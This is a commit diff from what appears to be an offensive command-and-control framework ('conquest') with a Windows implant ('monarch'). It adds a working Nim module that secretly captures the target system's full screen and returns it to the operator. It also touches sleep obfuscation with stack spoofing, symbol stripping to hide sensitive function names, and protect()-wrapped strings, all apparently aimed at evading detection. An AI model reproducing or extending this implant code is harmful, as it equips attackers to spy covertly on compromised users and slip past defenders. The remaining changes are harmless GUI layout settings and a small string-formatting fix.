Implemented 'screenshot' command.
This commit is contained in:
@@ -6,7 +6,7 @@ Collapsed=0
|
||||
Pos=0,30
|
||||
Size=2868,1665
|
||||
Collapsed=0
|
||||
DockId=0x00000001,0
|
||||
DockId=0x00000003,0
|
||||
|
||||
[Window][Debug##Default]
|
||||
Pos=60,60
|
||||
@@ -24,13 +24,36 @@ Size=1080,1629
|
||||
Collapsed=0
|
||||
|
||||
[Window][Example: Console]
|
||||
Pos=0,781
|
||||
Size=2868,914
|
||||
Pos=0,458
|
||||
Size=2868,1237
|
||||
Collapsed=0
|
||||
DockId=0x00000002,0
|
||||
|
||||
[Window][Example: Log]
|
||||
Pos=1951,30
|
||||
Size=917,1103
|
||||
Collapsed=0
|
||||
DockId=0x00000004,0
|
||||
|
||||
[Window][DockSpace Demo]
|
||||
Pos=0,0
|
||||
Size=2868,1695
|
||||
Collapsed=0
|
||||
|
||||
[Table][0x951FCC8A,6]
|
||||
RefScale=24
|
||||
Column 0 Width=50 Sort=0v
|
||||
Column 1 Width=74
|
||||
Column 2 Width=111
|
||||
Column 3 Width=118
|
||||
Column 4 Weight=1.0000
|
||||
Column 5 Width=-1
|
||||
|
||||
[Docking][Data]
|
||||
DockSpace ID=0x3674675E Window=0x538FB738 Pos=0,30 Size=2868,1665 Split=Y Selected=0x5E5F7166
|
||||
DockNode ID=0x00000001 Parent=0x3674675E SizeRef=2868,749 CentralNode=1 Selected=0x5E5F7166
|
||||
DockNode ID=0x00000002 Parent=0x3674675E SizeRef=2868,914 Selected=0x1BCA3180
|
||||
DockNode ID=0x00000001 Parent=0x3674675E SizeRef=2868,426 Split=X Selected=0x5E5F7166
|
||||
DockNode ID=0x00000003 Parent=0x00000001 SizeRef=1949,833 CentralNode=1 Selected=0x5E5F7166
|
||||
DockNode ID=0x00000004 Parent=0x00000001 SizeRef=917,833 Selected=0x38CCB771
|
||||
DockNode ID=0x00000002 Parent=0x3674675E SizeRef=2868,1237 Selected=0x1BCA3180
|
||||
DockSpace ID=0xC0DFADC4 Window=0xD0388BC8 Pos=0,30 Size=2868,1665 CentralNode=1
|
||||
|
||||
|
||||
@@ -72,7 +72,7 @@ proc GetRandomThreadCtx(): CONTEXT =
|
||||
|
||||
return ctx
|
||||
|
||||
# Ekko sleep obfuscation with stack spoofing
|
||||
# Timer based sleep obfuscation with stack spoofing (Ekko/Zilean)
|
||||
proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: bool = true) =
|
||||
|
||||
echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]."
|
||||
|
||||
@@ -2,6 +2,6 @@
|
||||
-d:agent
|
||||
-d:release
|
||||
--opt:size
|
||||
--passL:"-s" # Stip symbols, such as sensitive function names
|
||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -47,6 +47,7 @@ type
|
||||
CMD_BOF = 12'u16
|
||||
CMD_DOWNLOAD = 13'u16
|
||||
CMD_UPLOAD = 14'u16
|
||||
CMD_SCREENSHOT = 15'u16
|
||||
|
||||
StatusType* = enum
|
||||
STATUS_COMPLETED = 0'u8
|
||||
|
||||
@@ -8,7 +8,8 @@ import
|
||||
filesystem,
|
||||
filetransfer,
|
||||
environment,
|
||||
bof
|
||||
bof,
|
||||
screenshot
|
||||
|
||||
type
|
||||
ModuleManager* = object
|
||||
@@ -30,6 +31,7 @@ proc loadModules*() =
|
||||
registerCommands(filetransfer.commands)
|
||||
registerCommands(environment.commands)
|
||||
registerCommands(bof.commands)
|
||||
registerCommands(screenshot.commands)
|
||||
|
||||
proc getCommandByType*(cmdType: CommandType): Command =
|
||||
return manager.commandsByType[cmdType]
|
||||
|
||||
151
src/modules/screenshot.nim
Normal file
151
src/modules/screenshot.nim
Normal file
@@ -0,0 +1,151 @@
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototype
|
||||
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definition (as seq[Command])
|
||||
let commands*: seq[Command] = @[
|
||||
Command(
|
||||
name: protect("screenshot"),
|
||||
commandType: CMD_SCREENSHOT,
|
||||
description: protect("Take a screenshot of the target system."),
|
||||
example: protect("screenshot"),
|
||||
arguments: @[],
|
||||
execute: executeScreenshot
|
||||
)
|
||||
]
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import winim/lean
|
||||
import winim/inc/wingdi
|
||||
import strutils, strformat, times
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
|
||||
proc takeScreenshot(): seq[byte] =
|
||||
|
||||
var
|
||||
screenshotLength: ULONG
|
||||
screenshotBytes: PVOID
|
||||
|
||||
bmpFileHeader: BITMAPFILEHEADER
|
||||
bmpInfoHeader: BITMAPINFOHEADER
|
||||
bmpInfo: BITMAPINFO
|
||||
desktop: BITMAP
|
||||
deviceCtx: HDC
|
||||
memDeviceCtx: HDC
|
||||
bmpSection: HBITMAP
|
||||
gdiCurrent: HGDIOBJ
|
||||
gdiObject: HGDIOBJ
|
||||
resX: INT
|
||||
resY: INT
|
||||
bitsLength: ULONG
|
||||
bitsBuffer: PVOID
|
||||
|
||||
zeroMem(addr bmpFileHeader, sizeof(BITMAPFILEHEADER))
|
||||
zeroMem(addr bmpInfoHeader, sizeof(BITMAPINFOHEADER))
|
||||
zeroMem(addr bmpInfo, sizeof(BITMAPINFO))
|
||||
zeroMem(addr desktop, sizeof(BITMAP))
|
||||
|
||||
# Retrieve system resolution
|
||||
resX = GetSystemMetrics(SM_XVIRTUALSCREEN)
|
||||
resY = GetSystemMetrics(SM_YVIRTUALSCREEN)
|
||||
|
||||
# Obtain handle to the device context for the entire screen
|
||||
deviceCtx = GetDC(0)
|
||||
if deviceCtx == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
defer: ReleaseDC(0, deviceCtx)
|
||||
|
||||
# Fetch BITMAP structure using GetCurrentObject and GetObjectW
|
||||
gdiCurrent = GetCurrentObject(deviceCtx, OBJ_BITMAP)
|
||||
if gdiCurrent == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
defer: DeleteObject(gdiCurrent)
|
||||
|
||||
if GetObjectW(gdiCurrent, ULONG(sizeof(BITMAP)), addr desktop) == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
|
||||
# Construct BMP headers
|
||||
# Calculate amount of bits required to represent screenshot
|
||||
bitsLength = ((( 24 * desktop.bmWidth + 31) and not 31) div 8) * desktop.bmHeight
|
||||
|
||||
bmpFileHeader.bfType = 0x4D42 # Signature of the BMP file, "BM"
|
||||
bmpFileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER)
|
||||
bmpFileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bitsLength
|
||||
|
||||
bmpInfoHeader.biSize = ULONG(sizeof(BITMAPINFOHEADER))
|
||||
bmpInfoHeader.biBitCount = 24 # Color depth (same as defined in the formula above)
|
||||
bmpInfoHeader.biCompression = BI_RGB # uncompressed RGB format
|
||||
bmpInfoHeader.biPlanes = 1 # Number of color planes, always set to 1
|
||||
bmpInfoHeader.biWidth = desktop.bmWidth # Width of the bitmap image
|
||||
bmpInfoHeader.biHeight = desktop.bmHeight # Height of the bitmap image
|
||||
|
||||
# Size calculation and memory allocation
|
||||
screenshotLength = bmpFileHeader.bfSize
|
||||
screenshotBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotLength)
|
||||
if screenshotBytes == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotBytes)
|
||||
|
||||
# Assembly the bitmap image
|
||||
memDeviceCtx = CreateCompatibleDC(deviceCtx)
|
||||
if memDeviceCtx == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
defer: ReleaseDC(0, memDeviceCtx)
|
||||
|
||||
# Initialize BITMAPINFO with prepared info header
|
||||
bmpInfo.bmiHeader = bmpInfoHeader
|
||||
|
||||
bmpSection = CreateDIBSection(deviceCtx, addr bmpInfo, DIB_RGB_COLORS, addr bitsBuffer, cast[HANDLE](NULL), 0)
|
||||
if bmpSection == 0 or bitsBuffer == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
|
||||
# Select the newly created bitmap into the memory device context
|
||||
gdiObject = SelectObject(memDeviceCtx, bmpSection)
|
||||
if gdiObject == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
defer: DeleteObject(gdiObject)
|
||||
|
||||
# Copy the screen content from the source device context to the memory device context
|
||||
if BitBlt(
|
||||
memDeviceCtx, # Destination device context
|
||||
0, 0, # Destination coordinates
|
||||
desktop.bmWidth, desktop.bmHeight, # Dimensions of the area to copy
|
||||
deviceCtx, # Source device context
|
||||
resX, resY, # Source coordinates
|
||||
SRCCOPY # Copy source directly to destination
|
||||
) == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
|
||||
# Return the screenshot as a seq[byte]
|
||||
result = newSeq[byte](screenshotLength)
|
||||
copyMem(addr result[0], addr bmpFileHeader, sizeof(BITMAPFILEHEADER))
|
||||
copyMem(addr result[sizeof(BITMAPFILEHEADER)], addr bmpInfoHeader, sizeof(BITMAPINFOHEADER))
|
||||
copyMem(addr result[sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER)], bitsBuffer, bitsLength)
|
||||
|
||||
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
|
||||
echo protect(" [>] Taking and uploading screenshot.")
|
||||
|
||||
let
|
||||
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.bmp"
|
||||
screenshotBytes: seq[byte] = takeScreenshot()
|
||||
|
||||
var packer = Packer.init()
|
||||
|
||||
packer.addDataWithLengthPrefix(string.toBytes(screenshotFilename))
|
||||
packer.addDataWithLengthPrefix(screenshotBytes)
|
||||
|
||||
let data = packer.pack()
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, data)
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
@@ -48,7 +48,7 @@ proc handleHelp(cq: Conquest, parsed: seq[string]) =
|
||||
cq.displayHelp()
|
||||
except ValueError:
|
||||
# Command was not found
|
||||
cq.error("The command '{parsed[1]}' does not exist." & '\n')
|
||||
cq.error(fmt"The command '{parsed[1]}' does not exist." & '\n')
|
||||
|
||||
proc handleAgentCommand*(cq: Conquest, input: string) =
|
||||
# Return if no command (or just whitespace) is entered
|
||||
|
||||
Reference in New Issue
Block a user